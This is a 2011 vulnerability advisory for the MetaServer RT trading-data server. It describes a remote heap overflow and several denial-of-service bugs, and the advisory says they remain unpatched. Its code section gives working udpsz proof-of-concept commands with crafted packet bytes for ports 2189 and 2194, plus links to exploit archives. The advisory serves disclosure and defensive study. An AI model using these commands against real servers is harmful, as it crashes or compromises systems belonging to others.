99 lines
No EOL
2.2 KiB
Text
99 lines
No EOL
2.2 KiB
Text
#######################################################################
|
|
|
|
Luigi Auriemma
|
|
|
|
Application: MetaServer RT
|
|
http://www.traderssoft.com/ts/msrt/
|
|
Versions: <= 3.2.1.450
|
|
Platforms: Windows
|
|
Bugs: A] heap overflow
|
|
B] various Denials of Service
|
|
Exploitation: remote
|
|
Date: 19 Sep 2011
|
|
Author: Luigi Auriemma
|
|
e-mail: aluigi@autistici.org
|
|
web: aluigi.org
|
|
|
|
|
|
#######################################################################
|
|
|
|
|
|
1) Introduction
|
|
2) Bugs
|
|
3) The Code
|
|
4) Fix
|
|
|
|
|
|
#######################################################################
|
|
|
|
===============
|
|
1) Introduction
|
|
===============
|
|
|
|
|
|
From vendor's website:
|
|
"MetaServer RT allows to use MetaStock 6.52/7.x/8.x/9.x/10.x/11.x
|
|
(eSignal version) and TradeStartion2000i/ProSuite2000i with datafeeds
|
|
that are not supported originally."
|
|
|
|
|
|
#######################################################################
|
|
|
|
=======
|
|
2) Bugs
|
|
=======
|
|
|
|
|
|
The program listens on ports 2189, 2192 and 2194.
|
|
|
|
----------------
|
|
A] heap overflow
|
|
----------------
|
|
|
|
Through an interrupted connection with multiple packets on port 2189
|
|
and a subsequent reconnection it's possible to cause a heap overflow
|
|
and the relative write4.
|
|
Both the "MESSA" and "ROSCO" commands can be used.
|
|
|
|
|
|
-----------------------------
|
|
B] various Denials of Service
|
|
-----------------------------
|
|
|
|
Various invalid memory accesses and freezing of the program.
|
|
|
|
|
|
#######################################################################
|
|
|
|
===========
|
|
3) The Code
|
|
===========
|
|
|
|
|
|
http://aluigi.org/testz/udpsz.zip
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip
|
|
|
|
A]
|
|
udpsz -C "cdab0000 00000000 ffff0000 00000000 ffffffff 524f53434f" -l 0 -T -1 SERVER 2189 0xffff
|
|
|
|
stop after at least 50 dots and relaunch the command again till the
|
|
crashing of the server during a memcpy.
|
|
|
|
|
|
B]
|
|
udpsz -b 0x80 -T SERVER 2194 1000
|
|
udpsz -C "cdab0000 00000000 00ffffff 00000000 00000000 524f53434f" -T SERVER 2189 -1
|
|
...others...
|
|
|
|
|
|
#######################################################################
|
|
|
|
======
|
|
4) Fix
|
|
======
|
|
|
|
|
|
No fix.
|
|
|
|
|
|
####################################################################### |